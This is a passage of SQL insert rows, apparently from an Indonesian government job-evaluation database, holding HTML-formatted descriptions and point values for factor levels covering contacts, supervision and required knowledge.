(19, 'Tingkat sub faktor 4B-2', 75, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tujuan hubungan adalah untuk menjamin bahwa informasi yang diberikan kepada pihak luar tepat dan konsisten; untuk merencanakan dan mengkoordinasikan pekerjaan dengan pegawai yang berada di luar organisasi bawahan; dan/atau untuk menyelesaikan perbedaan pendapat diantara pejabat penyelia, pegawai, kontraktor dan pihak lain.</span></span></p>', 12, '2018-10-23 20:56:03', '2018-10-23 20:56:03'),
(20, 'Tingkat sub faktor 4B-3', 100, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tujuan hubungan adalah untuk menimbang, mempertahankan atau merundingkan proyek, segmen program unit organisasi yang diarahkan untuk memperoleh sumber daya dan kesesuaian dengan kebijakan, peraturan, atau kontrak yang sudah ditetapkan. </span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan biasanya partisipasi aktif dalam konferensi, rapat, pemeriksaan atau presentasi masalah atau isu berdampak cukup besar pada program atau segmen program yang diarahkan.</span></span></p>', 12, '2018-10-23 20:56:42', '2018-10-23 20:56:42'),
(21, 'Tingkat sub faktor 4B-4', 125, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tujuan hubungan adalah untuk mempengaruhi, memotivasi, atau melakukan persuasi terhadap orang atau kelompok untuk dapat menerima pendapat atau mengambil tindakan untuk mengembangkan tujuan dan sasaran program atau segmen program yang diarahkan, atau untuk mendapatkan komitmen atau distribusi sumber daya yang sangat penting bila terjadi pertentangan atau perlawanan yang gigih yang harus dihadapi karena adanya konflik organisasi atau filosofis yang cukup besar, sasaran yang berbeda, keterbatasan sumber daya atau pengurangannya, atau isu yang setara.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pada tingkat ini, mereka yang dihubungi cukup merasa takut, merasa ragu, atau tidak bekerjasama sehingga kepemimpinan dan keterampilan komunikasi, negosiasi, penyelesaian konflik, harus digunakan untuk memperoleh hasil yang diinginkan. </span></span></span></span></p>', 12, '2018-10-23 20:57:21', '2018-10-23 20:57:21'),
(22, 'Tingkat faktor 5-1', 75, '<p><span style=\"font-family:Arial,Helvetica,sans-serif\"><span style=\"font-size:12px\">Kelas pekerjaan dasar&nbsp;Kelas 4 dan dibawahnya atau yang setara</span></span></p>', 13, '2018-10-23 20:58:53', '2018-10-23 20:58:53'),
(23, 'Tingkat faktor 5-2', 205, '<p>Kelas pekerjaan dasar&nbsp;Kelas 5 atau 6 atau yang setara</p>', 13, '2018-10-23 20:59:40', '2018-10-23 20:59:40'),
(24, 'Tingkat faktor 5-3', 340, '<p>Kelas pekerjaan dasar&nbsp;Kelas 7 atau 8 atau yanng setara</p>', 13, '2018-10-23 21:00:13', '2018-10-23 21:00:13'),
(25, 'Tingkat faktor 5-4', 505, '<p>Kelas pekerjaan dasar&nbsp;Kelas 9 atau 10 atau yang setara</p>', 13, '2018-10-23 21:00:44', '2018-10-23 21:00:44'),
(26, 'Tingkat faktor 5-5', 650, '<p>Kelas pekerjaan dasar kelas 11 atau 12 atau yang setara</p>', 13, '2018-10-23 21:01:25', '2018-10-23 21:01:25'),
(27, 'Tingkat faktor 5-6', 800, '<p>Kelas pekerjaan dasar kelas 13 atau yang setara</p>', 13, '2018-10-23 21:02:32', '2018-10-23 21:02:32'),
(31, 'Tingkat faktor 5-8', 1030, '<p>Kelas pekerjaan dasar kelas 15 atau lebih tinggi atau yang setara</p>', 13, '2018-10-23 21:04:54', '2018-10-23 21:04:54'),
(30, 'Tingkat faktor 5-7', 930, '<p>Kelas pekerjaan dasar kelas 14 atau yang setara</p>', 13, '2018-10-23 21:04:21', '2018-10-23 21:04:21'),
(32, 'Tingkat faktor 6-1', 310, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan yang diselia (disupervisi) meliputi pekerjaan klerek, pekerjaan teknis, atau pekerjaan lain yang setara dengan kelas 8 atau lebih rendah. Pekerjaan ini bervariasi dari pekerjaan yang bersifat rutin hingga pekerjaan penyeliaan yang memerlukan koordinasi dalam unit kerja, untuk memastikan waktu, bentuk, prosedur, kesesuaian, standar kualitas dan kuantitas dipenuhi dalam setiap jenis pekerjaan.</span></span></p>', 14, '2018-10-23 21:05:28', '2018-10-23 21:05:28'),
(33, 'Tingkat faktor 6-2', 575, '<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan yang diselia (disupervisi) meliputi pekerjaan klerek, pekerjaan teknis, atau pekerjaan lain yang setara dengan kelas 9 atau kelas 10, atau pekerjaan kelas 6, kelas 7, atau kelas 8 dimana penyelia memiliki wewenang teknis yang penuh dan final terhadap pekerjaan tersebut, yang memerlukan koordinasi dan integrasi pelaksanaan pekerjaan di dalam unit kerja atau dengan unit kerja lain untuk guna menghasilkan produk/jasa akhir. </span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">(Wewenang teknis yang penuh dan final berarti bahwa pejabat penyelia bertanggung-jawab atas semua keputusan teknis yang timbul dari pekerjaan itu tanpa nasehat atau bantuan teknis dalam masalah yang lebih sulit dan tidak lazim, dan tanpa peninjauan lebih lanjut kecuali dari sudut pandang evaluasi administratif atau evaluasi program). </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Koordinasi yang diperlukan untuk memastikan: konsistensi produk, jasa, penafsiran atau nasihat terhadap kesesuaian output unit lain dan dengan standar atau kebijakan instansi. Pejabat penyelia berkoordinasi dengan pejabat penyelia dari unit lain untuk menangani persyaratan dan masalah yang mempengaruhi pihak lain di luar organisasi.</span></span></span></span></p>\r\n\r\n<h4 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:12pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></h4>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Jabatan tersebut mengarahkan pejabat penyelia bawahan yang menangani pekerjaan kelas 8 atau yang lebih rendah, dimana pengkoordinasian pekerjaan yang dilakukan unit bawahan memerlukan upaya yang berkelanjutan guna memastikan standar kualitas dan jasa, ketepatan waktu, bentuk, prosedur, kesesuaian, dan kuantitas.</span></span></p>', 14, '2018-10-23 21:05:57', '2018-10-23 21:05:57'),
(34, 'Tingkat Faktor 6-3', 975, '<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Penyeliaan pada tingkat ini memerlukan koordinasi, integrasi, atau konsolidasi pekerjaan administratif, pekerjaan teknis, atau pekerjaan lain yang setara dengan kelas 11 atau kelas 12, atau pekerjaan kelas 9 atau kelas 10 dimana penyelia memiliki wewenang teknis penuh dan final terhadap pekerjaannya. </span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tingkat ini dicapai bila pekerjaan yang diarahkan bersifat analisis, penafsiran, penilaian, evaluasi, atau kreatif. Pekerjaan tersebut menuntut penyelia menyelesaikan konflik dan mempertahankan kesesuaian penafsiran, penilaian, logika dan penerapan kebijakan, karena:</span></span></span></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">fakta, informasi, dan keadaan sering bervariasi; </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">pedoman tidak lengkap dan tidak dengan segera memberikan hasil yang identik; atau </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">perbedaan penilaian, rekomendasi, tafsiran, atau keputusan dapat berakibat terhadap pekerjaan bawahan lain. </span></span></span></span></li>\r\n</ul>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan mungkin diselesaikan oleh suatu tim, dimana setiap anggota tim memberikan kontribusi bagian dari analisis, fakta, informasi usulan tindakan, atau rekomendasi, yang kemudian diintegrasikan oleh pejabat penyelia.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Jabatan ini mengarahkan penyelia bawahan dengan jabatan kelas 9 atau kelas 10 atau yang setara, yang memerlukan konsolidasi atau koordinasi yang serupa dengan yang diuraikan pada tingkat faktor 6-2a di kalangan unit bawahan atau dengan unit luar.</span></span></p>', 14, '2018-10-23 23:45:46', '2018-10-23 23:45:46'),
(35, 'Tingkat faktor 6-4', 1120, '<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Penyeliaan pada tingkat ini memerlukan koordinasi dan integrasi yang cukup besar dari sejumlah pekerjaan, proyek atau segmen program pekerjaan profesional atau pekerjaan administratif dengan kelas 13. Misalnya, koordinasi melibatkan pekerjaan yang setara dengan salah satu dari yang berikut ini:</span></span></span></span></li>\r\n</ol>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengidentifikasi dan mengintegrasikan program internal dan eksternal yang mempengaruhi langsung organisasi, seperti yang berkaitan dengan faktor teknis, keuangan, organisasi, dan administrasi;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengintegrasikan pekerjaan tim atau kelompok dimana setiap anggota tim ikut berperan memberikan sebagian analisis, fakta, informasi, usulan tindakan, atau&nbsp; rekomendasi dan/atau memastikan penafsiran sesuai dan konsisten dengan penilaian, logika, dan kebijakan.</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Merekomendasikan sumber daya untuk dikerahkan kepada proyek tertentu atau untuk dialokasikan di antara segmen program;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Kepemimpinan mengembangkan, melaksanakan, mengevaluasi, dan menyempurnakan proses dan prosedur guna memantau keefektifan, efisiensi, dan produktifitas segmen program dan/atau organisasi yang diarahkan;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Meninjau dan menyetujui isi laporan, keputusan, dokumen kasus, kontrak, atau dokumen lain guna memastikan bahwa sudah sesuai dengan kebijakan dan pandangan instansi.</span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Jabatan itu mengarahkan penyelia bawahan dan/atau kontraktor yang mengarahkan pekerjaan kelas 11 atau kelas 12. Pekerjaan dasar memerlukan koordinasi yang serupa dengan yang diuraikan pada tingkat faktor 6-3a di atas, untuk penyelia tingkat pertama.</span></span></p>', 14, '2018-10-23 23:46:56', '2018-10-23 23:46:56'),
(36, 'Tingkat faktor 6-5', 1225, '<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Penyeliaan pada tingkat ini memerlukan koordinasi dan integrasi yang cukup besar terhadap sejumlah proyek atau segmen program pekerjaan profesional, manajerial, atau pekerjaan administratif yang setara dengan kelas 14. Penyeliaan melibatkan sejumlah rekomendasi penting yang memiliki dampak langsung dan cukup besar terhadap organisasi dan proyek. Misalnya, membuat rekomendasi dalam sekurang-kurangnya 3 bidang yang tercantum di bawah ini atau dalam bidang lain yang setara:</span></span></span></span></li>\r\n</ol>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Program internal dan eksternal dan kebijakan yang penting yang mempengaruhi seluruh organisasi, seperti kondisi politik, teknologi, dan ekonomi selain sejumlah faktor yang disebutkan dalam butir pertama pada tingkat faktor 6-4a;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Melakukan restrukturisasi, reorientasi, evaluasi ulang tujuan, sasaran, rencana, dan jadwal jangka pendek dan jangka panjang untuk menyesuaikan dengan perubahan perundang-undangan, program, dan/atau pendanaan;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Memutuskan proyek atau segmen program yang harus dilanjutkan, dikesampingkan, atau dikurangi;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Merubah struktur organisasi, termasuk perubahan tertentu yang harus dilaksanakan;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Optimalisasi pengurangan biaya operasional dan kepastian keefektifan program, termasuk diperkenalkannya alat yang menghemat tenaga kerja, proses otomatisasi, penyempurnaan metode, dan hal-hal yang serupa;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Sumber daya yang harus diterapkan untuk program tertentu (terutama mengenai anggaran organisasi);</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Perumusan kebijakan dan perencanaan jangka panjang sehubungan dengan perubahan fungsi dan program yang memberikan pengharapan.</span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></p>\r\n\r\n<ol start=\"2\" style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Penyeliaan pekerjaan profesional, administratif, atau yang setara dengan kelas 15 atau di atasnya, yang sangat mendesak, yang tidak lazim untuk penelitian, pengembangan, tes dan evaluasi, desain, analisis kebijakan, pelayanan masyarakat, kesehatan masyarakat, dan implikasi medis, peraturan, atau implikasi lain yang setara.</span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengelola pekerjaan melalui penyelia bawahan dan/atau kontraktor yang masing-masing mengarahkan pekerjaan dengan kelas 13. Pekerjaan dasar semacam ini memerlukan koordinasi yang serupa dengan yang diuraikan pada tingkat faktor 6-4a di atas untuk penyelia tingkat pertama.</span></span></p>', 14, '2018-10-23 23:47:43', '2018-10-23 23:47:43'),
(37, 'Tingkat faktor 6-6', 1325, '<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Penyeliaan pada tingkat ini memerlukan koordinasi dan integrasi yang luar biasa dari sejumlah segmen program pekerjaan profesional manajerial, atau pekerjaan administratif yang setara dengan kelas 15 atau yang lebih tinggi. </span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Penyeliaan dan pengelolaan sumber daya pada tingkat ini meliputi sejumlah keputusan dan tindakan penting yang memiliki dampak langsung dan cukup besar terhadap organisasi dan program yang dikelola. </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Misalnya, penyelia pada tingkat ini menyusun rekomendasi dan/atau keputusan akhir tentang sebagian besar bidang yang diuraikan pada tingkat faktor 6-5a, atau yang setara. </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengelola pekerjaan melalui penyelia bawahan dan/atau kontraktor yang mengarahkan pekerjaan dengan kelas 14 atau yang lebih tinggi. Pekerjaan ini memerlukan koordinasi yang serupa dengan yang diuraikan pada tingkat faktor 6-5a di atas untuk penyelia tingkat pertama.</span></span></p>', 14, '2018-10-23 23:48:21', '2018-10-23 23:48:21'),
(38, 'Tingkat faktor 1-1', 50, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan tentang tugas atau operasi yang sederhana, rutin, atau berulang, yang secara khusus&nbsp; mengikuti instruksi langkah demi langkah, dan sedikit atau sama sekali tidak membutuhkan pelatihan atau pengalaman sebelumnya;</span></span></span></span></p>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Keterampilan untuk menjalankan peralatan sederhana atau peralatan yang beroperasi secara berkala, yang sedikit atau sama sekali tidak membutuhkan pelatihan atau pengalaman sebelumnya;</span></span></span></span></p>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan dan keterampilan yang setara.</span></span></p>', 15, '2018-10-24 00:02:34', '2018-10-24 00:02:34'),
(39, 'Tingkat faktor 1-2', 200, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan tentang prosedur, peraturan, atau operasi dasar atau umum, yang secara khusus membutuhkan sedikit pelatihan atau pengalaman sebelumnya;</span></span></span></span></p>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Keterampilan dasar untuk mengoperasikan peralatan yang membutuhkan sedikit pelatihan dan pengalaman sebelumnya, seperti peralatan keyboard;</span></span></span></span></p>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan dan keterampilan yang setara.</span></span></p>', 15, '2018-10-24 00:13:32', '2018-10-24 00:13:32'),
(40, 'Tingkat faktor 1-3', 350, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan tentang sejumlah peraturan, prosedur, dan operasi, yang membutuhkan pelatihan dan pengalaman yang cukup untuk melaksanakan pekerjaan klerek dan menyelesaikan masalah yang muncul;</span></span></span></span></p>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Keterampilan, yang membutuhkan pelatihan dan pengalaman yang cukup, untuk mengoperasikan dan menyesuaikan peralatan dalam berbagai tujuan, seperti melaksanakan sejumlah tes atau operasi standar;</span></span></span></span></p>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan dan keterampilan yang setara.</span></span></p>', 15, '2018-10-24 00:15:18', '2018-10-24 00:15:18'),
(41, 'Tingkat faktor 1-4', 550, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan tentang sejumlah peraturan, prosedur, atau operasi, yang membutuhkan pelatihan dan pengalaman yang luas untuk melaksanakan berbagai pekerjaan yang tidak standar dan saling berhubungan, dan menyelesaikan berbagai macam masalah;</span></span></span></span></p>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan praktis tentang standar prosedur dibidang teknik, yang membutuhkan pelatihan atau pengalaman luas, untuk:</span></span></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">melaksanakan pekerjaan yang membutuhkan peralatan yang membutuhkan pertimbangan dan karakteristik tertentu; </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">menginterpretasikan hasil tes berdasarkan pengalaman dan observasi sebelumnya (tanpa membaca langsung instrumen atau alat pengukur lainnya); atau </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">membuat intisari informasi dari berbagai sumber dan mempertimbangkan karakteristik dan kualitas sumber informasi tersebut untuk diterapkan;</span></span></span></span></li>\r\n</ol>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan dan keterampilan yang setara.</span></span></p>', 15, '2018-10-24 00:24:54', '2018-10-24 00:24:54'),
